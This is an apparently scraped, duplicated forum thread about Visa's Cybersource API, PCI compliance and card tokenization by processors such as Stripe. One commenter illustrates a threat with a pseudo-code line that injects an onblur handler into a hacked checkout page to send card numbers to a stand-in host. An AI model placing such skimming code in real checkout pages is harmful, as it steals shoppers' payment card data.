5 ms·

https://developer.visa.com/images/cybersource.png https://developer.visa.com/images/cybersource.png https://developer.visa.com/products/cybersource/reference#c

by mark242 11y ago

https://developer.visa.com/images/cybersource.png https://developer.visa.com/images/cybersource.png https://developer.visa.com/products/cybersource/reference#cybersource__cybs__v1__authorize https://developer.visa.com/products/cybersource/reference#cy... Ugh. Using this means that your application is in scope for PCI controls, since card data will be transmitted across your network into your application. One of the reasons that Braintree and Stripe, for example, are so popular is because of the tokenization that they do prior to sending the card data to your systems, thereby putting your application out of scope for PCI. If Visa added that one detail, this would be a fantastic solution.

paloaltokid 11y ago
> If Visa added that one detail, this would be a fantastic solution. Agree that it's an important detail to add, but it's certainly not trivial. My understanding is that tokenization support varies from bank to bank.
- mark242 11y ago
  The token comes from your acquirer (eg Stripe), not the bank-- the acquirer is the one holding the card info, then when you submit a request to your acquirer, they perform a lookup on the token, grab the card data, and do the real lifting of charging the card. For a company like Visa, this should be a trivial feature.
vonklaus 11y ago
> If Visa added that one detail, this would be a fantastic solution Maybe I am understanding this incorrectly, but isn't that one detail the main value proposition. It almost sounds analogous to a Dropbox competitor offering a cloud storage API but the developer is responsible for handling syncing. I am not saying it is totally worthless, maybe it has some value to big companies, but I am really failing to understand how this could be broadly useful.
- mark242 11y ago
  "I am really failing to understand how this could be broadly useful." For one, it is a huge step forward from existing payment processor communication. Most card acquirer software is vintage 1997, either by sending large amounts of unstructured text over the wire, or parsing through XML, or dealing with error codes that mean nothing from acquirer to acquirer. Switching banks, for example, is such a massive pain in the ass because you essentially have to rewrite your entire card processing code from scratch. Having this easy-to-use API will encourage competitors to play catch up, and it is a pretty good selling point for using Cybersource. Second, and you can make an argument about monopolies or whatever, but PCI is essentially controlled by Visa and Mastercard. It is entirely possible for Visa to strongarm mom-and-pop-acquirer to play by this API, and then (hopefully) add the public tokenization later. For e-commerce, storing and transmitting only tokens is huge, and goes a long long way towards mitigating the severity of these massive retail breaches.
  - vonklaus 11y ago
    I apologize, but I still don't get it. Basically, this would allow someone to build software that physically can process credit cards? So basically, this is for companies that sell point of sale systems? I am aware that credit card processing is quite poorly implemented, so it seems like they are: * making it less bad * further exercising their monopoly * adding more security at the transmission level so, like who would use this? Basically this is for something like square where you would actual take physical cards and process them? It seems like if a user has a debit card you can process a fee for like 5 basis points. So, Visa is offering a way for merchants and payment processors to improve the security of their (credit card companies) own product so feasibly, they could lower their fees in the future, because they wouldn't have to pass along the massive amount of costs fraud creates due to the systems insecurity. So, like, who uses this? Just payment processors and companies big enough to have their own point of sale? It seems like a big bet to expend engineering resources on. What is the upside? Security is priced in to the processing fee, right? So, basically there is no gain for someone who already has a working gateway unless they force them to use this. If you do that engineering spend and get it to work, it is a big bet that users will continue to use a fairly unsecured payment method and carry it around with them, and that mobile payments won't become normalized in the next few years.
ChemicalWarfare 11y ago
"Your application" where? If you're a merchant you need to collect payment data from the end user which is where PCI kicks in. If you want to minimize PCI footprint on your downstream systems you can tokenize the payment instrument before it hits them - Cybersource supports tokenization. If you're on the processor side you need the PAN unless it's tokenized by the card network like Visa or MC which is how apple pay works from the tokenization standpoint.
ryanlol 11y ago
Stripe bypassing PCI is still really questionable, if someone hacks you stripe isn't gonna stop them from stealing your customers credit cards.
- raesene4 11y ago
  Especially when most stripe using sites embed the payment request in their page and there's no way for end users to tell that it's using stripe without looking in the source of the page. If that got re-directed by an attacker 99+% of users wouldn't notice I reckon.
  - deleted 11y ago
    [deleted]
- eibrahim 11y ago
  Stripe does not bypass PCI. Stripe does not transmit any credit card information to your servers and if there are no CC info on your server then you don't have to deal with PCI compliance. If your server gets hacked you don't have any customer info stored on it. All you have is a stripe token.
  - BillinghamJ 11y ago
    More specifically, if there is no CC info transmitted via your servers.
  - sleepyhead 11y ago
    Well the server holds the checkout page. And the server is hacked. So if attacker just add onblur = getjson(evilcorp.org?cc=value) to the checkout page attacker got the cc details. No?
    - eibrahim 11y ago
      Sure but there are 2 scenarios here. ONE: You don't use stripe and save all you customer info locally and procces it some other way TWO: You use stripe and never store any CC info on your server. THEN: Your server is hacked. In ONE, you lose customer CC info because it is stored on your server. In TWO, you do NOT. Sure they can redirect you to a fake payment page, but that will get noticed quickly and damage will be limited to "phished" users not your entire user base.
deleted 11y ago
[deleted]

by mark242 11y ago

paloaltokid 11y ago

> If Visa added that one detail, this would be a fantastic solution. Agree that it's an important detail to add, but it's certainly not trivial. My understanding is that tokenization support varies from bank to bank.

mark242 11y ago
The token comes from your acquirer (eg Stripe), not the bank-- the acquirer is the one holding the card info, then when you submit a request to your acquirer, they perform a lookup on the token, grab the card data, and do the real lifting of charging the card. For a company like Visa, this should be a trivial feature.

vonklaus 11y ago

> If Visa added that one detail, this would be a fantastic solution Maybe I am understanding this incorrectly, but isn't that one detail the main value proposition. It almost sounds analogous to a Dropbox competitor offering a cloud storage API but the developer is responsible for handling syncing. I am not saying it is totally worthless, maybe it has some value to big companies, but I am really failing to understand how this could be broadly useful.

mark242 11y ago
"I am really failing to understand how this could be broadly useful." For one, it is a huge step forward from existing payment processor communication. Most card acquirer software is vintage 1997, either by sending large amounts of unstructured text over the wire, or parsing through XML, or dealing with error codes that mean nothing from acquirer to acquirer. Switching banks, for example, is such a massive pain in the ass because you essentially have to rewrite your entire card processing code from scratch. Having this easy-to-use API will encourage competitors to play catch up, and it is a pretty good selling point for using Cybersource. Second, and you can make an argument about monopolies or whatever, but PCI is essentially controlled by Visa and Mastercard. It is entirely possible for Visa to strongarm mom-and-pop-acquirer to play by this API, and then (hopefully) add the public tokenization later. For e-commerce, storing and transmitting only tokens is huge, and goes a long long way towards mitigating the severity of these massive retail breaches.
- vonklaus 11y ago
  I apologize, but I still don't get it. Basically, this would allow someone to build software that physically can process credit cards? So basically, this is for companies that sell point of sale systems? I am aware that credit card processing is quite poorly implemented, so it seems like they are: * making it less bad * further exercising their monopoly * adding more security at the transmission level so, like who would use this? Basically this is for something like square where you would actual take physical cards and process them? It seems like if a user has a debit card you can process a fee for like 5 basis points. So, Visa is offering a way for merchants and payment processors to improve the security of their (credit card companies) own product so feasibly, they could lower their fees in the future, because they wouldn't have to pass along the massive amount of costs fraud creates due to the systems insecurity. So, like, who uses this? Just payment processors and companies big enough to have their own point of sale? It seems like a big bet to expend engineering resources on. What is the upside? Security is priced in to the processing fee, right? So, basically there is no gain for someone who already has a working gateway unless they force them to use this. If you do that engineering spend and get it to work, it is a big bet that users will continue to use a fairly unsecured payment method and carry it around with them, and that mobile payments won't become normalized in the next few years.

ChemicalWarfare 11y ago

"Your application" where? If you're a merchant you need to collect payment data from the end user which is where PCI kicks in. If you want to minimize PCI footprint on your downstream systems you can tokenize the payment instrument before it hits them - Cybersource supports tokenization. If you're on the processor side you need the PAN unless it's tokenized by the card network like Visa or MC which is how apple pay works from the tokenization standpoint.

ryanlol 11y ago

Stripe bypassing PCI is still really questionable, if someone hacks you stripe isn't gonna stop them from stealing your customers credit cards.

raesene4 11y ago
Especially when most stripe using sites embed the payment request in their page and there's no way for end users to tell that it's using stripe without looking in the source of the page. If that got re-directed by an attacker 99+% of users wouldn't notice I reckon.
- deleted 11y ago
  [deleted]
eibrahim 11y ago
Stripe does not bypass PCI. Stripe does not transmit any credit card information to your servers and if there are no CC info on your server then you don't have to deal with PCI compliance. If your server gets hacked you don't have any customer info stored on it. All you have is a stripe token.
- BillinghamJ 11y ago
  More specifically, if there is no CC info transmitted via your servers.
- sleepyhead 11y ago
  Well the server holds the checkout page. And the server is hacked. So if attacker just add onblur = getjson(evilcorp.org?cc=value) to the checkout page attacker got the cc details. No?
  - eibrahim 11y ago
    Sure but there are 2 scenarios here. ONE: You don't use stripe and save all you customer info locally and procces it some other way TWO: You use stripe and never store any CC info on your server. THEN: Your server is hacked. In ONE, you lose customer CC info because it is stored on your server. In TWO, you do NOT. Sure they can redirect you to a fake payment page, but that will get noticed quickly and damage will be limited to "phished" users not your entire user base.

deleted 11y ago

[deleted]